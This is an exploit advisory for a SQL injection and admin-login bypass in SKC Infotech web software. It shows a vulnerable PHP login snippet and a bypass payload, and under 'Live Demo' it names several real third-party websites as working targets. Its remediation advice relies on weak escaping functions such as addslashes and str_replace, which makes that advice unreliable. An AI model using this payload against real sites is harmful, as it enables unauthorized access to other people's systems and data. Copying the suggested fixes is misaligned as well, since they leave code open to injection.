# Exploit Title : SKC Infotech Admin Bypass & SQL Injection Vulnerability # Discovered By : MrHoudini # Contact Me : [email protected] # Date : 08-02-2024 # Vendor Homepage : https://skcinfotech.in [!] Description.: SQL injection attacks usually targets database and all of them are the results of programming errors. If programmer couldn't checked the inputs correctly, so the attacker can send his/her commands to database. If programmer do this errors at admin page input and the inputs haven't been checked correctly, occur a very bad thing that allow attacker login to administrator panel with combination the passwords that turn the result to True in php. Request Method : [+] POST Vulnerable Module: [+] Login Vulnerable Parameter: [+](username) and (Password) ================================================== [!] Bug.........: <?php require_once('any.php'); if($_POST['submit']) { $user=$_POST['user']; $pswd=$_POST['pswd']; $result=mysql_query("select * from login where user='$user' and pswd='$pswd'"); $rowcount=mysql_num_rows($result); if($rowcount>0) { header('Location:any.php'); } else { echo "bad user"; } } ?> ================================================== [!] PoC.........: To bypass the admin login: '= 'or' ================================================== [!] Live Demo. For Admin Page : https://accountsassociate.in/admin/ https://sangitabiotech.com/admin/ Url Target Admin Panel : http://site.com/admin/ [!] Live Demo. For SQL Injection : https://sangitabiotech.com/product.php?prod_id=22 https://sbdschess.in/gallery.php?menu=5 ================================================== [!] Solution...: PHP functions can be averted with the bug Check input variable: --ctype_digit --ctype_alnum And other ctype & gettype family functions *String entries with the database functions --mysql_real_escape_string or sqlite_escape_string or .... -If functions are not available in the database --str_replace , addslashes